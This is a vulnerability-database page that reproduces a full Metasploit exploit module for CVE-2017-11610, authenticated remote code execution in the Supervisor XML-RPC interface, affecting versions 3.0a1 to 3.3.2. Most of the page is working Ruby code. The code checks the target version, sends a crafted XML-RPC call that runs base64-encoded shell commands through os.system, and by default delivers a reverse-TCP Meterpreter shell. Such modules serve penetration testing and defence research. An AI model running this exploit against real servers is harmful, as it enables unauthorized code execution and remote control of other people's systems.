Lucene search
+L

Supervisor XML-RPC Authenticated Remote Code Execution

🗓️ 19 Jul 2017 00:00:00Reported by Calum Hutton <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 72 Views

Supervisor XML-RPC Authenticated Remote Code Execution vulnerability in versions 3.0a1 to 3.3.2

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution",
        'Description' => %q{
          This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
          can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
          The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
          may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been
          configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Calum Hutton <[email protected]>'
        ],
        'References' => [
          ['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
          ['URL', 'https://www.debian.org/security/2017/dsa-3942'],
          ['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'],
          ['CVE', '2017-11610'],
          ['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
        ],
        'Platform' => 'linux',
        'Targets' => [
          ['3.0a1-3.3.2', {}]
        ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'DefaultOptions' => {
          'RPORT' => 9001,
          'Payload' => 'linux/x64/meterpreter/reverse_tcp',
        },
        'Privileged' => false,
        'DisclosureDate' => '2017-07-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(9001),
        OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
        OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
        OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']),
      ]
    )
  end

  def post_auth?
    true
  end

  def check_version(version)
    if version <= Rex::Version.new('3.3.2') and version >= Rex::Version.new('3.0a1')
      return true
    else
      return false
    end
  end

  def check
    print_status('Extracting version from web interface..')

    params = {
      'method' => 'GET',
      'uri' => normalize_uri('/')
    }
    if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
      print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
      params.merge!({ 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) })
    end
    res = send_request_cgi(params)

    if res
      if res.code == 200
        match = res.body.match(/<span>(\d+\.[\dab]\.\d+)<\/span>/)
        if match
          version = Rex::Version.new(match[1])
          if check_version(version)
            print_good("Vulnerable version found: #{version}")
            return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
          else
            print_bad("Version #{version} is not vulnerable")
            return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
          end
        else
          print_bad('Could not extract version number from web interface')
          return Exploit::CheckCode::Unknown('Could not determine the target status')
        end
      elsif res.code == 401
        print_bad("Authentication failed: #{res.code} response")
        return Exploit::CheckCode::Detected('Authentication required (HTTP 401)')
      else
        print_bad("Unexpected HTTP code: #{res.code} response")
        return Exploit::CheckCode::Unknown('Could not determine the target status')
      end
    else
      print_bad('Error connecting to web interface')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
  end

  def execute_command(cmd, opts = {})
    # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
    # Credit to the following urls for the os.system() payload
    # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
    # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
    xml_payload = %{<?xml version="1.0"?>
<methodCall>
  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
  <params>
    <param>
      <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&amp;1 &amp;</string>
    </param>
  </params>
</methodCall>}

    # Send the XML-RPC payload via POST to the specified endpoint
    endpoint_path = target_uri.path
    print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")

    params = {
      'method' => 'POST',
      'uri' => normalize_uri(endpoint_path),
      'ctype' => 'text/xml',
      'headers' => { 'Accept' => 'text/xml' },
      'data' => xml_payload,
      'encode_params' => false
    }
    if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
      print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
      params.merge!({ 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) })
    end
    return send_request_cgi(params, timeout = 5)
  end

  def exploit
    res = execute_cmdstager(:linemax => 800)

    if res
      if res.code == 401
        fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
      elsif res.code == 404
        fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
      else
        fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
      end
    else
      print_good('Request returned without status code, usually indicates success. Passing to handler..')
      handler
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jul 2017 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 38.8
CVSS 29
EPSS0.87378
72